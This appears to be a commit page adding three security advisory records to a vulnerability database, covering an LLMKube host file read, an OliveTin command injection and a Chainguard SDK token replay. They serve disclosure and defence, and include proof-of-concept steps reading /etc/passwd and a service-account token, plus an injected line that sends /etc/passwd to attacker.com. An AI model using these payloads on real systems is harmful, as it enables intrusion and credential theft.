vuln-osv update 2026-11-19T00:44:13Z
This commit is contained in:
1 parent
31aeac1fe5
commit
95ecb53407
36 files changed
+59
-41
No files matched your search
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-jw3m-8q7m-f35r","published":"2026-11-18T21:18:02Z","modified":"2026-11-18T21:30:13.942147594Z","aliases":["CVE-2026-68903"],"summary":"LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection","details":"### Summary\n\nLLMKube's `ModelReconciler` accepts arbitrary absolute paths and `file://` URIs in the `Model.spec.source` field and propagates them to two distinct sinks without path allowlisting: (1) `os.Open()` inside the controller pod itself (`copyLocalModel`), and (2) a Kubernetes `HostPathVolumeSource` that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update `Model` and `InferenceService` custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., `/etc/kubernetes/kubelet.conf`). Model caching, the feature that activates the `hostPath` sink, is **enabled by default** in both the CLI and the official Helm chart. CVSS v3.1 Base Score: **7.7 (High)**.\n\n### Details\n\n**Entry point — `Model.spec.source` field**\n\nThe `Source` field in `api/v1alpha1/model_types.go:47-48` carries a `kubebuilder` validation pattern that explicitly permits absolute paths:\n\n```go\n// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\\s]+$|^[a-zA-Z0-9][\\w\\-\\.\\/]+$`\nSource string `json:\"source\"`\n```\n\nThe branch `^/[^\\s]+$` matches any non-whitespace absolute path on the host.\n\n**Sink 1 — Controller-pod arbitrary file read (`copyLocalModel`)**\n\n`internal/controller/source.go:93-103` classifies a source as local and extracts the path with no sanitization:\n\n```go\n// isLocalSource: returns true for any \"/\" prefix or \"file://\" prefix\nfunc isLocalSource(source string) bool {\n return strings.HasPrefix(source, \"/\") || strings.HasPrefix(source, \"file://\")\n}\n\n// getLocalPath: strips \"file://\" prefix only; no canonicalization, no allowlist\nfunc getLocalPath(source string) string {\n return strings.TrimPrefix(source, \"file://\")\n}\n```\n\n`internal/controller/model_controller.go:241` passes the attacker-controlled source into `fetchModel`, which reaches `copyLocalModel` at line 664-667:\n\n```go\nf, err := os.Open(localPath) // localPath = getLocalPath(model.Spec.Source)\n```\n\nAn attacker sets `model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token`; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.\n\n**Sink 2 — Node arbitrary file read via `HostPathVolumeSource`**\n\n`internal/controller/model_storage.go:560-568` converts the same path into a Kubernetes host volume with no canonical-root check:\n\n```go\nif isLocalModelSource(model.Spec.Source) {\n localPath := getLocalPath(model.Spec.Source)\n volumes = append(volumes, corev1.Volume{\n Name: \"host-model\",\n VolumeSource: corev1.VolumeSource{\n HostPath: &corev1.HostPathVolumeSource{\n Path: localPath,\n Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),\n },\n },\n })\n initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{\n Name: \"host-model\",\n MountPath: \"/host-model/model.gguf\",\n ReadOnly: true,\n })\n}\n```\n\n`internal/controller/deployment_builder.go:248-250` calls `buildModelStorageConfig`, and lines 329-333 embed `storageConfig.volumes` directly into the generated `Deployment`'s `PodSpec`. When the inference pod starts, the init container copies the node file to the model-cache PVC.\n\nThe only filename-level sanitization is in `internal/controller/filename.go:44-75`, which constrains the **destination basename** only and has no effect on `HostPath.Path`.\n\nModel caching is enabled by default: `cmd/main.go:120` and `charts/llmkube/values.yaml:274` (`modelCache.enabled: true`).\n\n### PoC\n\n**Prerequisites**\n\n- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (`modelCache.enabled=true`).\n- Attacker possesses `create`/`update` permissions for `Model` and `InferenceService` CRDs in a target namespace, plus `get` on Pod logs.\n\n**Path A — Live Kubernetes cluster (hostPath sink)**\n\n```sh\nNS=llmkube-poc\nkubectl create ns \"$NS\"\n\n# Step 1: Create a Model whose source points to a sensitive node file\ncat <<'YAML' | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n name: hostread\nspec:\n source: /etc/passwd\nYAML\n\nkubectl wait -n \"$NS\" --for=jsonpath='{.status.phase}'=Ready \\\n model/hostread --timeout=180s\n\nCACHEKEY=\"$(kubectl get model hostread -n \"$NS\" \\\n -o jsonpath='{.status.cacheKey}')\"\nBASENAME=\"$(basename \\\n \"$(kubectl get model hostread -n \"$NS\" -o jsonpath='{.status.path}')\")\"\n\n#Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-vc6p-m6vx-6cwq","published":"2026-11-18T21:55:09Z","modified":"2026-11-18T22:00:04.129389620Z","aliases":["CVE-2026-75506"],"summary":"OliveTin: Second-Order OS Command Injection via shellAfterCompleted","details":"## Summary\n\nOliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.\n\nThis is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables.\n\n## Affected Versions\n\n- All versions containing `shellAfterCompleted` functionality (current codebase through latest)\n\n## Details\n\n### Vulnerable Code Path\n\nIn `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:\n\n```go\nfunc stepExecAfter(req *ExecutionRequest) bool {\n if req.Binding.Action.ShellAfterCompleted == \"\" {\n return true\n }\n\n // These variables are injected WITHOUT any type checking or sanitization\n args := map[string]string{\n \"output\": req.logEntry.Output, // Arbitrary command stdout/stderr\n \"exitCode\": fmt.Sprintf(\"%v\", req.logEntry.ExitCode),\n \"ot_executionTrackingId\": req.TrackingID,\n \"ot_username\": req.AuthenticatedUser.Username, // User-controlled via trusted headers\n }\n\n // Template rendered with unsanitized args\n finalParsedCommand, err := tpl.ParseTemplateWithActionContext(\n req.Binding.Action.ShellAfterCompleted,\n req.Binding.Entity,\n args,\n )\n\n // Directly passed to sh -c — NO safety check\n cmd := wrapCommandInShell(ctx, finalParsedCommand)\n // ...\n}\n```\n\nThe `wrapCommandInShell` function (in `executor_unix.go`) executes:\n\n```go\nfunc wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {\n return exec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n}\n```\n\n### Why This Bypasses Existing Protections\n\nThe main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.\n\n**`stepExecAfter` calls none of these checks.** The `output` variable is:\n- Not a declared argument with a type — it's internally created\n- Not validated against any regex or type system\n- Not passed through `checkShellArgumentSafety`\n- Directly interpolated into a shell command template\n\nA `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location:\n\n```\nexecutor.go:693: if err := checkShellArgumentSafety(req); err != nil {\n```\n\nThis is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`.\n\n### Injection Vectors\n\n#### Vector 1: Output Reflection\n\nIf a primary action echoes user-controlled input:\n\n```yaml\nactions:\n - title: Lookup User\n shell: \"echo 'User: {{ .Arguments.username }}'\"\n shellAfterCompleted: \"audit-log '{{ .Arguments.output }}'\"\n arguments:\n - name: username\n type: ascii_identifier\n```\n\nWhile `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.\n\n#### Vector 2: Exec Mode Output Injection\n\nActions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell:\n\n```yaml\nactions:\n - title: Read External Data\n exec:\n - cat\n - /shared/data/{{ .Arguments.filename }}\n shellAfterCompleted: \"process-result '{{ .Arguments.output }}'\"\n arguments:\n - name: filename\n type: ascii_identifier\n```\n\nIf `/shared/data/report` contains text like:\n```\n'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nprocess-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'\n```\n\nThis executLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-wq26-3j2m-4hvv","published":"2026-11-18T21:16:44Z","modified":"2026-11-18T21:30:14.739697309Z","aliases":["CVE-2026-71861"],"summary":"Chainguard SDK: AWS SigV4 token replay in auth/aws.VerifyToken — Chainguard-Audience/Chainguard-Identity binding headers not required in SignedHeaders","details":"### Summary\n\nThe `auth/aws` package of the `chainguard.dev/sdk` Go library provides Chainguard's AWS-backed identity federation (an AWS workload proves its identity to Chainguard by signing an AWS STS `GetCallerIdentity` request). Its verifier, `VerifyToken`, reads the `Chainguard-Audience` and `Chainguard-Identity` binding headers from a presented token but does not require them to be covered by the SigV4 signature. AWS STS validates only the headers listed in `SignedHeaders` and ignores all others, so an attacker can take a `GetCallerIdentity` request that a victim signed for a *different* relying party, inject or rewrite those two headers *after* signing (without invalidating the signature), and replay it to any service that authenticates callers with `VerifyToken`. The binding those headers were meant to provide is therefore forgeable — a verifier-side (relying-party) authentication bypass / cross-service token replay.\n\n### Background\n\nThe package uses the standard \"signed `GetCallerIdentity`\" pattern — the same approach HashiCorp Vault's AWS auth method and Kubernetes `aws-iam-authenticator` use: the caller signs an AWS STS `GetCallerIdentity` request with its AWS credentials to prove who it is, and presents that signed request as a bearer token. It has two halves:\n\n- `GenerateToken` (client): builds the `GetCallerIdentity` request, adds the `Chainguard-Audience` and `Chainguard-Identity` headers that bind the proof to a specific Chainguard audience (issuer) and assumable identity, SigV4-signs it, and serializes it into a token.\n- `VerifyToken` (relying party): decodes the token, checks those two binding headers, forwards the request to AWS STS to confirm the caller's real AWS identity (ARN), and returns it so a Chainguard token can be issued for that identity.\n\nThe binding headers exist so a proof minted for one audience/identity cannot be reused for another — a defense against cross-service replay — and their security depends entirely on being covered by the SigV4 signature.\n\n### Impact\n\nA relying party calling `auth/aws.VerifyToken` can be induced to accept a `GetCallerIdentity` proof that a victim produced for an unrelated purpose — for example a request minted for HashiCorp Vault's AWS auth method, Kubernetes `aws-iam-authenticator`, a different audience, or one captured from logs or a proxy — and to treat it as proof of the victim's AWS identity for an attacker-chosen audience and identity. The signed request is valid within its ~15-minute window. No access to the victim's AWS credentials is required; the attacker only needs a fresh signed `GetCallerIdentity` request from the victim principal.\n\nCode that uses only `auth/aws.GenerateToken` (token generation) is not affected — the generator correctly includes the binding headers in the signature. Only verifiers using `auth/aws.VerifyToken` are affected.\n\n### Affected versions\n\nAll released versions of `chainguard.dev/sdk` that include `auth/aws.VerifyToken`, up to and including `v0.1.106`.\n\n### Patches\n\nFixed in `chainguard.dev/sdk` [v0.1.107](https://github.com/chainguard-dev/sdk/releases/tag/v0.1.107). The fix requires both the `Chainguard-Audience` and `Chainguard-Identity` headers to be present in the request's SigV4 `SignedHeaders` before their values are trusted (mirroring the mitigation HashiCorp Vault applies by requiring `X-Vault-AWS-IAM-Server-ID` to be signed). It additionally adds defense-in-depth checks on the request method, the STS host, and the request timestamp. Upgrade to v0.1.107 or later.\n\n### Workarounds\n\nThere is no client-side workaround; the fix is in the verifier. Operators of services that verify AWS-backed identities with `VerifyToken` should upgrade as soon as the patched release is available.\n\n### References\n\n- AWS Signature Version 4 — signed headers: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_sigv.html\n- Comparable mitigation: HashiCorp Vault requires the `X-Vault-AWS-IAM-Server-ID` header to appear in `SignedHeaders` before trusting it.\n\n### Credits\n\nReported by Kris Kennaway (Datadog).","affected":[{"package":{"name":"chainguard.dev/sdk","ecosystem":"Go","purl":"pkg:golang/chainguard.dev/sdk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.107"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.1.106","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wq26-3j2m-4hvv/GHSA-wq26-3j2m-4hvv.json"}}],"references":[{"type":"WEB","url":"https://github.com/chainguard-dev/sdk/security/advisories/GHSA-wq26-3j2m-4hvv"},{"type":"ADVISORLine truncated
|
||||
Reference in new issue
Block a user